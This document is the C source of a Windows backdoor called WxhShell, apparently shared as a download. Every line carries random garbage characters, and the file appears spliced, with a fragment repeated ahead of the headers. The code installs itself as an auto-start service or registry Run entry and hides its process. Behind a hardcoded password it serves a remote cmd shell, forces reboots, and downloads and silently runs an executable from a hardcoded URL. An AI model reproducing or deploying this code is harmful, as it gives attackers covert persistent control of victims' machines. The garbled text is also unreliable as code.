    if(Boot(SHUTDOWN)) bBn4m:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VE6 V^6SL  
    else { f3[gA Y  
    closesocket(wsh); d.3-@^P  
    ExitThread(0); .B+R+2uY3  
    } I_oJx  
    break; (Xi?Y/  
    } YJ3aJ^m#E  
  // 获取shell #Huvn4x  
  case 's': { :na9PW`TC  
    CmdShell(wsh); C%9;~S  
    closesocket(wsh); "FwbhD0Gb  
    ExitThread(0); s(o{SC'tt  
    break; 7H %>\^A^  
  } # 4L[8(+V  
  // 退出 yn)K1f^  
  case 'x': { O=?WI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z}&?^YU*)`  
    CloseIt(wsh); L#1Y R}m  
    break; wKIQK!B)mF  
    } =c"`>Vi@d  
  // 离开 -1 ;BwlL  
  case 'q': { !X[b 4p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6*J`2U9Q  
    closesocket(wsh); d<r=f"  
    WSACleanup(); P4-`<i]!S  
    exit(1); B\G?dmo  
    break; }_vE lBh6$  
        } BxS\ "W  
  } ]Nz~4ebB  
  } Mk Er|w'  
%QCh#v=ks  
  // 提示信息 @`^+XPK\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0&} "!)  
} u%3D{Dj  
  } B"ZW.jMaI  
.DiH)  
  return; AKk6kI8F  
} ~ODm?k  
g"Mqh!{ FI  
// shell模块句柄 -,C">T%\  
int CmdShell(SOCKET sock) D6=Z%h\*  
{ L0H;y6&  
STARTUPINFO si; F[BJhN*]a  
ZeroMemory(&si,sizeof(si)); $1y8gm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $T.we+u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <csz4tL}P  
PROCESS_INFORMATION ProcessInfo; BU(:6  
char cmdline[]="cmd"; mtu/kd'(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {EE/3e@  
  return 0; (n_lu= E70  
} $O9Nprf  
EnnT)qos  
// 自身启动模式 YBqu7&  
int StartFromService(void) uLX5khQ  
{ l=,\ h&  
typedef struct 2oyTS*2u_&  
{ kv{uf$X*ve  
  DWORD ExitStatus; rf^ Q%ds  
  DWORD PebBaseAddress; xOnbY U  
  DWORD AffinityMask; |WqEJ*$,  
  DWORD BasePriority; r2M Iw  
  ULONG UniqueProcessId; (&HAjB  
  ULONG InheritedFromUniqueProcessId; (L}  
}   PROCESS_BASIC_INFORMATION; rH Et]Xa  
FKRO0%M4}Z  
PROCNTQSIP NtQueryInformationProcess; #}*w &y  
|h$*z9bsf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KE!aa&g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `@1y|j:m  
" uf*?m3  
  HANDLE             hProcess; D!< [\ G  
  PROCESS_BASIC_INFORMATION pbi; [!H2i p-  
o!!";q%DX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *5?a% p  
  if(NULL == hInst ) return 0; qKNX^n;  
Y7(E<1Yx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ChO?Lm$y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y=7WnQc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XJ,P8nx  
Vz[E)(QX-`  
  if (!NtQueryInformationProcess) return 0; |W4 \  
hqrI%%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "h?;)Ye  
  if(!hProcess) return 0; IA_>x9 (~  
& 9X`tCnL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -;9pZ'r  
|`d,r.+P7  
  CloseHandle(hProcess); |TM&:4D]^  
|<tZ|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); XN65bq  
if(hProcess==NULL) return 0; b Lag&c)  
~_<I}!j/B  
HMODULE hMod; $.{CA-~%[  
char procName[255]; KzD5>Xf]4$  
unsigned long cbNeeded; o (fZZ`6Y  
g-lF{Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5y-8_)y8o  
>`L)E,=/  
  CloseHandle(hProcess); ."b=dkx  
$Lg% CY  
if(strstr(procName,"services")) return 1; // 以服务启动 %{qJkjG  
NJK?5{H'  
  return 0; // 注册表启动 hpp>+=  
} Xb +)@Y4h  
b[p<kMTir  
// 主模块 ;ELQIHnD"  
int StartWxhshell(LPSTR lpCmdLine) DwM4/m  
{ ZfalB  
  SOCKET wsl; U U!M/QJ  
BOOL val=TRUE; vQf'lEFk  
  int port=0; FD>j\  
  struct sockaddr_in door; Zkl:^!*  
u=^0n2ez  
  if(wscfg.ws_autoins) Install(); $jMU| {  
eBiP\  
port=atoi(lpCmdLine); l*]9   
/LMb~Hy,  
if(port<=0) port=wscfg.ws_port; $T* ##kyE9  
0=Jf93D5  
  WSADATA data; clfi)-^ {K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F jdh&9Zc  
$__e7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qZRx,^gd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 04-phEA2Q  
  door.sin_family = AF_INET; uV1H iv-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LX A1rgUWT  
  door.sin_port = htons(port); Q)N$h07R  
 FkJa+ZA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K0B J  
closesocket(wsl); N}{CL(xi  
return 1; /E>z8 J$  
} ,Nl]rmI  
aIaydu+\  
  if(listen(wsl,2) == INVALID_SOCKET) { !R,9Pg*Ey  
closesocket(wsl); ?3 J  
return 1; A6w/X`([O  
} ~:7AHK2  
  Wxhshell(wsl); PRm Z 3  
  WSACleanup(); =uKGh`^[  
_i [.5  
return 0; +js3o@Ku{\  
bh=d'9B@&J  
} .UNh\R?r  
t6 :;0[j  
// 以NT服务方式启动 {m5tgVi&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W"9iFj X  
{ N{n}]Js1D-  
DWORD   status = 0; 6_/oVvd  
  DWORD   specificError = 0xfffffff; !ZP1?l30  
 |u 8hxa  
  serviceStatus.dwServiceType     = SERVICE_WIN32; X;_0"g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c)Ft#vzg&e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #u+BjuZo  
  serviceStatus.dwWin32ExitCode     = 0; 6w{^S~rqo  
  serviceStatus.dwServiceSpecificExitCode = 0; 2,|*KN*e`W  
  serviceStatus.dwCheckPoint       = 0; =y>P>&sI  
  serviceStatus.dwWaitHint       = 0; !v\m%t|.  
3}O.B r|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g3{)AX[Uy  
  if (hServiceStatusHandle==0) return; e #l/jFJU  
rN? L8  
status = GetLastError(); -F,o@5W>Y  
  if (status!=NO_ERROR) U,/NygB~  
{ R`=IYnoOA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <x@\3{{U  
    serviceStatus.dwCheckPoint       = 0; }8Wp X2U  
    serviceStatus.dwWaitHint       = 0; #r 1 $=GY  
    serviceStatus.dwWin32ExitCode     = status; z79L2lJn  
    serviceStatus.dwServiceSpecificExitCode = specificError; |7WzTz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &|<~J (L;  
    return; .FK'T G  
  } n`f},.NM|  
{y0*cC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z.23i^Q  
  serviceStatus.dwCheckPoint       = 0; xXO& -v{  
  serviceStatus.dwWaitHint       = 0; 8 g'9( )&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2a*1q#MpAt  
} :0ND0A{K:  
ia|^>V>-  
// 处理NT服务事件,比如:启动、停止 %_+9y??  
VOID WINAPI NTServiceHandler(DWORD fdwControl) KmV#% d  
{ ]OY6.m  
switch(fdwControl) yAEOn/.~  
{ g=; rM8W  
case SERVICE_CONTROL_STOP: j-$aa;  
  serviceStatus.dwWin32ExitCode = 0; HCQv"i}-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9B Lz  
  serviceStatus.dwCheckPoint   = 0; ><OdHRh@#  
  serviceStatus.dwWaitHint     = 0; H^"BK-`hs  
  { D+rDgrv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]>E9v&X0  
  } y<PPO6u7  
  return; P&| =  
case SERVICE_CONTROL_PAUSE: qM@][]j:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [$3Zid  
  break; IC[SJVH;  
case SERVICE_CONTROL_CONTINUE: !_<.6ja  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `{I,!to  
  break; 3@$h/xMJ  
case SERVICE_CONTROL_INTERROGATE: l>"gO9j  
  break; G%ycAm  
}; .&7=ZY>E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3f's>+,#%  
} /@FB;`'  
5`oor86  
// 标准应用程序主函数 W_8 FzXA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =YA%= d_  
{ SiojOH  
#Vn=(U4}!_  
// 获取操作系统版本 m'k`p5[=h  
OsIsNt=GetOsVer(); &g,K5at  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R2Tvo?xI7  
?-<t-3%hyV  
  // 从命令行安装 !=&]#-;b  
  if(strpbrk(lpCmdLine,"iI")) Install(); ml=1R >#'  
< Q\`2{  
  // 下载执行文件 k;zb q  
if(wscfg.ws_downexe) { 0x# 6L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b9|F>3?r>  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^1,]?F^  
} \+GXUnkj  
)2YU|  
if(!OsIsNt) { \Qk:\aLR  
// 如果时win9x,隐藏进程并且设置为注册表启动 y(.WK8  
HideProc(); !nVX .m9  
StartWxhshell(lpCmdLine); pY=?r{@  
} spO?5#  
else o~P8=1t   
  if(StartFromService()) b{s E#m%r  
  // 以服务方式启动 1:YDN.*  
  StartServiceCtrlDispatcher(DispatchTable); s>~&: GUwR  
else 9[T#uh!DC  
  // 普通方式启动 JPQ02&e  
  StartWxhshell(lpCmdLine); Xki/5roCQ|  
(/"T=`3t  
return 0; .[cT3l/t  
} .U5+PQN  
Zz?+,-$_*&  
}WI24|`zM  
.e.vh:Sz  
=========================================== ~ezCE4^&  
-<z'f){gb  
" "a+Nc  
D{BH~IM  
4Hzbb#  
^D4b\mF  
" =Bo0Oei  
SVq7qc9K?  
#include <stdio.h> m}uF&|5  
#include <string.h> l'16B^  
#include <windows.h> =j;o, J:(  
#include <winsock2.h> ,7%(Jj$ ^  
#include <winsvc.h> ;o^m"I\y  
#include <urlmon.h> G#@<bg3  
;k/0N~  
#pragma comment (lib, "Ws2_32.lib") P\zi:]h[Gh  
#pragma comment (lib, "urlmon.lib") n+uq|sYVa  
kIW Q`)'  
#define MAX_USER   100 // 最大客户端连接数 gP1$#KgU  
#define BUF_SOCK   200 // sock buffer s vo^#V~h'  
#define KEY_BUFF   255 // 输入 buffer ;prp6(c  
`}Q;2 F  
#define REBOOT     0   // 重启 5,Q('t#J  
#define SHUTDOWN   1   // 关机 {{EQM +  
q6_1`Ew  
#define DEF_PORT   5000 // 监听端口 #UWQ (+F  
6@F Z,e  
#define REG_LEN     16   // 注册表键长度 3"L$*toRA  
#define SVC_LEN     80   // NT服务名长度 Be]o2N;J  
yp*kMC,3  
// 从dll定义API ?,%N?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HYg _{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xD1wHp!+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y(A?ib~K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |g;XC^!%=o  
n,HWVo>([  
// wxhshell配置信息 ~{NDtB)  
struct WSCFG { UT{N ly8u  
  int ws_port;         // 监听端口 pwZ &2&|  
  char ws_passstr[REG_LEN]; // 口令 _v $mGZpGY  
  int ws_autoins;       // 安装标记, 1=yes 0=no W\KZFrV@  
  char ws_regname[REG_LEN]; // 注册表键名 @ics  
  char ws_svcname[REG_LEN]; // 服务名 I" j7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =)I{KT:y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O/-OW: 03  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @K+u+} R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >XZq=q]E!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5N|77AAxK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a9qZI  
g)p[A 4  
}; %##9.Xm6l  
1^W Aps  
// default Wxhshell configuration Hd2_Cg FB  
struct WSCFG wscfg={DEF_PORT, s~63JDy"E  
    "xuhuanlingzhe", 5rcno.~QO  
    1, (6A{6_p  
    "Wxhshell", rpXw 8  
    "Wxhshell", rvfl~<G*  
            "WxhShell Service", Z'j<wRf  
    "Wrsky Windows CmdShell Service", *l9Y]hinq  
    "Please Input Your Password: ", eBN>|mE4N  
  1, bFJn-g n  
  "http://www.wrsky.com/wxhshell.exe", x NC>m&T  
  "Wxhshell.exe" ;;`KkNys m  
    }; <_Lo3WGwc  
q{5Vq_s\  
// 消息定义模块  OB^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &a(w0<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x p$0J<2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^IId =V=2  
char *msg_ws_ext="\n\rExit."; 3&*%>)  
char *msg_ws_end="\n\rQuit."; D0]9 -h  
char *msg_ws_boot="\n\rReboot..."; E nUo B<  
char *msg_ws_poff="\n\rShutdown..."; p_nrua?  
char *msg_ws_down="\n\rSave to "; l3MH+o  
wGxLs>| 4  
char *msg_ws_err="\n\rErr!"; Ip0Zf?  
char *msg_ws_ok="\n\rOK!"; _Ey8P0-I  
WUV Q_<i+  
char ExeFile[MAX_PATH]; M<L<mP}  
int nUser = 0; i@;a%$5  
HANDLE handles[MAX_USER]; D"WkD j"M  
int OsIsNt; v|'N|k l  
{38aaf|'/  
SERVICE_STATUS       serviceStatus; .5z|g@ 6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZuhT \l  
!3&}r  
// 函数声明 h}d7M55#|  
int Install(void); @Uu\x~3y  
int Uninstall(void); }v!6BU6<Q  
int DownloadFile(char *sURL, SOCKET wsh); rTJWftH!  
int Boot(int flag); b$ eJH  
void HideProc(void); IpP0|:}  
int GetOsVer(void); d^Wh-U  
int Wxhshell(SOCKET wsl); 3_>1j  
void TalkWithClient(void *cs); 7/yd@#$X  
int CmdShell(SOCKET sock); lu}[XN  
int StartFromService(void); LH8?0 N[  
int StartWxhshell(LPSTR lpCmdLine); i0!F  
f_\-y&)+*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  \X`P W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^ Q}1&w%  
zhe5i;M  
// 数据结构和表定义 &sWyh[`P  
SERVICE_TABLE_ENTRY DispatchTable[] = PLyu1{1" z  
{ _aGdC8%[  
{wscfg.ws_svcname, NTServiceMain}, f:SF&t*  
{NULL, NULL} z~_\onC  
}; -jy"?]ve.  
Rju8%FRO  
// 自我安装 Z8@]e}n  
int Install(void) ^/uGcz|.  
{ 5a&w M  
  char svExeFile[MAX_PATH]; y{sA["   
  HKEY key; 4ca-!pI0  
  strcpy(svExeFile,ExeFile); R;yAqr29  
E6gEP0b  
// 如果是win9x系统,修改注册表设为自启动 *LVM}| f  
if(!OsIsNt) { "10VN*)J}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1L|(:m+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ? `KOW  
  RegCloseKey(key); w;(gi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {|%O)fr,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dfo9jYPf  
  RegCloseKey(key); D^{:UbN  
  return 0; Z^l!y5s/H  
    } ChGM7uu2  
  } gK(4<PO'  
} !O-+ h0Z  
else { @FV;5M:I  
.g~@e_;):  
// 如果是NT以上系统,安装为系统服务 EHHxCq?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H^g<`XEgw  
if (schSCManager!=0) C] w< &o  
{ 6~S0t1/t?  
  SC_HANDLE schService = CreateService ihWz/qx&q  
  ( B`aAvD`7  
  schSCManager, }}_uN-m  
  wscfg.ws_svcname, *PEuaRDN  
  wscfg.ws_svcdisp, Q(6(Scp{  
  SERVICE_ALL_ACCESS, D2p6&HNT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , u2< h<}Y  
  SERVICE_AUTO_START, "BRE0Ir:  
  SERVICE_ERROR_NORMAL, ,LZ:y1z'V-  
  svExeFile, a AM UJk  
  NULL, MDP MOA  
  NULL,  aC: l;  
  NULL, l'T0<  
  NULL, p#d UL9  
  NULL W wha?W>  
  ); -#6*T,f0P(  
  if (schService!=0) ArYF\7P  
  { ];;w/$zke  
  CloseServiceHandle(schService); `1@[uWl  
  CloseServiceHandle(schSCManager); y7OG[L/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &*aU2{,s,;  
  strcat(svExeFile,wscfg.ws_svcname); T6$<o\g'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cloI 6%5r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~PnpYd<2  
  RegCloseKey(key); EC'bgFe  
  return 0; 0Q>|s_  
    } E+zn\v  
  } fJ2{w[ne  
  CloseServiceHandle(schSCManager); m!60.  
} F*}Q^%  
} a7\L-T+  
XB-|gPk  
return 1; j*4S]!  
} `uA&w}(G  
Nh9!lBm*]  
// 自我卸载 ]ECZU   
int Uninstall(void) e0HP~&BRs  
{ %}X MhWn{  
  HKEY key; }dJ ~Iy  
8 -;ZPhN&  
if(!OsIsNt) { 3gy;$}Lq T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HDyZzjgG  
  RegDeleteValue(key,wscfg.ws_regname); \STvBI?  
  RegCloseKey(key); Qu FCc1Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X.l"f'`l  
  RegDeleteValue(key,wscfg.ws_regname); ~q(C j"7  
  RegCloseKey(key); xm5FQ) T  
  return 0; 0t?<6-3`/  
  } K=TW}ZO  
} i%PHYSJ.  
} YBIe'(p  
else { MIF[u:&  
Az9J{)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &6=ZT:.6Te  
if (schSCManager!=0) Os 2YZ<t  
{ \BaN5+ B6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ' ,`4 U F  
  if (schService!=0) J7;n;Mx  
  { V C'-h~  
  if(DeleteService(schService)!=0) { !a(qqZ|s  
  CloseServiceHandle(schService);  jnzz~:  
  CloseServiceHandle(schSCManager); KH>sCEt  
  return 0; <S@mQJS!y  
  } \Ntdl:fSw  
  CloseServiceHandle(schService); }|"*"kxi!  
  } `OReSg 2  
  CloseServiceHandle(schSCManager); %GCd?cFF  
} D.R|HqZ  
} 8sF0]J[g{  
;To+,`?E;q  
return 1; @-@rG>y^:  
} h;UdwmT  
Pq\V($gN  
// 从指定url下载文件 Z?v6pjZ?  
int DownloadFile(char *sURL, SOCKET wsh) iH}rI'U.  
{ Po!JgcJ#\  
  HRESULT hr; =tRe3o0(  
char seps[]= "/"; -sH.yAvC6  
char *token; k,iV$,[TF  
char *file;  Ox*T:5  
char myURL[MAX_PATH]; 40d9/$uzh  
char myFILE[MAX_PATH]; I u~aTgHX%  
Doc'7P  
strcpy(myURL,sURL); 'A(-MTd%  
  token=strtok(myURL,seps); D3AtYt  
  while(token!=NULL) < Gy!i/  
  { o p5^9`"  
    file=token; DD6`k*RIk.  
  token=strtok(NULL,seps); us,,W(q  
  } 9 roth  
j X!ftm2  
GetCurrentDirectory(MAX_PATH,myFILE); 7U )qC}(  
strcat(myFILE, "\\"); \v P2B  
strcat(myFILE, file); 27 YLg c  
  send(wsh,myFILE,strlen(myFILE),0); *o\Y~U-so  
send(wsh,"...",3,0); dms:i)L2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }V#9tWW  
  if(hr==S_OK) h:Mn$VR,  
return 0; p C2c(4  
else lyH X#]  
return 1; )tI2?YIR  
JvWs/AG1  
} {S"  
2\CkX  
// 系统电源模块 q'AnI$!  
int Boot(int flag) M= q~EMH  
{ 2:HP5   
  HANDLE hToken; {9|$%4kRl  
  TOKEN_PRIVILEGES tkp; J(&M<<%  
ocA'goI-  
  if(OsIsNt) { I1 R\Ts@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @1SKgbt>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 031.u<_  
    tkp.PrivilegeCount = 1; {L-aXe{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a(43]d&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i_'R"ob{S  
if(flag==REBOOT) { "tz0ko,(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p5# P r  
  return 0; ]^6y NtLK  
} ~)m t&   
else { G5nj,$F+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cwWSNm|  
  return 0; 5) n:<U*  
} W "\tkh2  
  } vz #wP  
  else { }!yD^:[ 5  
if(flag==REBOOT) { yc%E$g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3{I=#>;  
  return 0; .";tnC!e  
} E ^SM`  
else { xX&>5 "  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,ORG"]_F  
  return 0; zr;Y1Xt4  
} rb}wv16?  
} 23\j1?  
77&^$JpM  
return 1; id#k!*$7  
} pJ$N@ID  
I bv_D$cT  
// win9x进程隐藏模块 At[n<8_|  
void HideProc(void) mp+\!  
{ ?Str*XA;  
Rqb{)L X*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?4,*RCaI  
  if ( hKernel != NULL ) #SihedWi  
  { 1l|A[ G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ; LF)u2x=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F<oc Y0=9p  
    FreeLibrary(hKernel); fCt\2);a  
  } mb~=Xyk&  
z^a!C#IX  
return;  IB.'4B7  
} S `m- 5  
T?]kF-   
// 获取操作系统版本 LcpyW=)}"V  
int GetOsVer(void) %M;_(jda  
{ \A3>c|  
  OSVERSIONINFO winfo; x(3 I?#kE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x,w`OMQ}c  
  GetVersionEx(&winfo); =FD`A#\C~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]g8i>,G  
  return 1; gM;)  
  else Q&.IlVB[  
  return 0; iQm.]A  
} RLu$$Eb  
Z*)y.i`  
// 客户端句柄模块 _sf#J|kQ  
int Wxhshell(SOCKET wsl) ~g K-5}%!  
{ 7k`*u) Q  
  SOCKET wsh; mOz&6T<|  
  struct sockaddr_in client; p'%: M  
  DWORD myID; ~*PK080N}  
K5)yM @cq  
  while(nUser<MAX_USER) .cH{WZ  
{ kuTq8p2E  
  int nSize=sizeof(client); GEe 0@q#YA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m_E[bDON  
  if(wsh==INVALID_SOCKET) return 1; ,3J`ftCV  
R!_8jD:$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0x>/6 <<  
if(handles[nUser]==0) V$-~%7@>;9  
  closesocket(wsh); G1?0Q_RN  
else I4o =6ts  
  nUser++; ,>QMyI hv  
  } N)vk0IM!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }o!#_N0T  
Xew1LPI  
  return 0; * Y%<b86U  
} XYK1-m}2  
A'~%_}  
// 关闭 socket MR?*GI's  
void CloseIt(SOCKET wsh) [B"dH-r7  
{ Mf ;|z0UX  
closesocket(wsh); Uaus>Frx.T  
nUser--; =YXe1$ $  
ExitThread(0); j*eUF-J1  
} 4[LLnF--  
ElEv(>G*  
// 客户端请求句柄 #LN5&i;s  
void TalkWithClient(void *cs) !sfXq"F  
{ ~|r'2V*  
 O ':0V  
  SOCKET wsh=(SOCKET)cs; $TD~k;   
  char pwd[SVC_LEN]; ~$&:NB1~q  
  char cmd[KEY_BUFF]; $KwI}>E4  
char chr[1]; 7g A08M[O  
int i,j; I9[1U   
kb"_6,[Ms  
  while (nUser < MAX_USER) { |2 YubAIZ(  
"'z,[v 50&  
if(wscfg.ws_passstr) { u{OS6Ky  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X6LhM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wQD0 vsD  
  //ZeroMemory(pwd,KEY_BUFF); 9lZAa8Rxi  
      i=0; nOAJ9  
  while(i<SVC_LEN) { fr}1_0DDz  
,?xLT2>J_  
  // 设置超时 7xv4E<r2  
  fd_set FdRead; ,]PyDq6  
  struct timeval TimeOut; i}/e}s<-6  
  FD_ZERO(&FdRead); -y&v9OC2-  
  FD_SET(wsh,&FdRead); E ;BPN  
  TimeOut.tv_sec=8; sJ))<,e5I  
  TimeOut.tv_usec=0; _KB{J7bs<a  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V>b2b5QAH,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }J ei$0x  
mQd4#LJ_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _pz,okO[V  
  pwd=chr[0]; K0EY<Ltq  
  if(chr[0]==0xd || chr[0]==0xa) { ]6$,IKE7  
  pwd=0; KGV.S  
  break; 54q4CagFq  
  } H&w:`JYDL3  
  i++; w(76H^e  
    } ID67?:%r  
K3vseor  
  // 如果是非法用户,关闭 socket v2 29H<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0>,.c2),  
}  ]{f^;y8  
CQ6'b,L&   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s<[A0=LH  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,O:EX0  
:a_BD  
while(1) { ?z2jk  
r\$6'+Si  
  ZeroMemory(cmd,KEY_BUFF); _iG2J&1'L  
tigT@!`$Y  
      // 自动支持客户端 telnet标准   J>rka]*  
  j=0;  9R9__w;  
  while(j<KEY_BUFF) { Y3#Nux%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6g5PM4\  
  cmd[j]=chr[0]; wP[xmO-%  
  if(chr[0]==0xa || chr[0]==0xd) { NH7`5mF$  
  cmd[j]=0; A /q2g7My  
  break; ifXW  
  }  !M  
  j++; Ye9Y^+-  
    } x(L(l=^"  
/b{o3, #.M  
  // 下载文件 WtEI] WO  
  if(strstr(cmd,"http://")) { :.*HQt9N  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ojHhT\M`  
  if(DownloadFile(cmd,wsh)) >[ eW">:>K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); O0^?f/&k  
  else `/#f?Hk=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WfTD7?\dw  
  } >~_J q|KBB  
  else { S_J,[#&  
aF!Ex  
    switch(cmd[0]) { G6ayMw]OF  
